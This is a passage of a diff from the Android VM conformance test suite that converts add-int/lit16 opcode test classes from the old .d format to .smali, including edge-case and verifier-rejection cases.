+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -32768
+       add-int/lit16 v0, v1, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.d
deleted file mode 100644
index 95fd121..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_13.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int/lit16 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali
new file mode 100644
index 0000000..096b321
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/lit16 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.d
deleted file mode 100644
index dfa3742..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_14.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int/lit16 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali
new file mode 100644
index 0000000..4577a94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_14.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/lit16 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.d
deleted file mode 100644
index 6cc4b57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_15.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali
new file mode 100644
index 0000000..79b17a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_15.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.d
deleted file mode 100644
index ba09106..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_16.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       add-int/lit16 v0, v3, 123
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali
new file mode 100644
index 0000000..ec1fc1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_16.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       add-int/lit16 v0, v3, 123
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.d
deleted file mode 100644
index bc66cbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_17.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit16 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali
new file mode 100644
index 0000000..e6cf84e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_17.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit16 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.d
deleted file mode 100644
index d80497f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_2.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, 255
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali
new file mode 100644
index 0000000..c0962a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 255
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.d
deleted file mode 100644
index 3a9009d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_3.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali
new file mode 100644
index 0000000..72b316c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.d
deleted file mode 100644
index 141d546..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_4.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483647
-       add-int/lit16 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali
new file mode 100644
index 0000000..7a58956
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483647
+       add-int/lit16 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.d
deleted file mode 100644
index 54f42ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_5.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0x7ffffffe
-       add-int/lit16 v0, v1, 2
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java
index f22579d..626c867 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.java
@@ -18,6 +18,7 @@
 
 public class T_add_int_lit16_5 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 0x7ffffffe + 2;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali
new file mode 100644
index 0000000..faa40c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0x7ffffffe
+       add-int/lit16 v0, v1, 2
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.d
deleted file mode 100644
index b103f66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_6.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1
-       add-int/lit16 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali
new file mode 100644
index 0000000..e202138
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1
+       add-int/lit16 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.d
deleted file mode 100644
index b4d689f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_7.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit16 v0, v1, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali
new file mode 100644
index 0000000..67dcecd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit16 v0, v1, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.d
deleted file mode 100644
index e1aa77e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit16/d/T_add_int_lit16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit16_8.java
-.class public dot.junit.opcodes.add_int_lit16.d.T_add_int_lit16_8
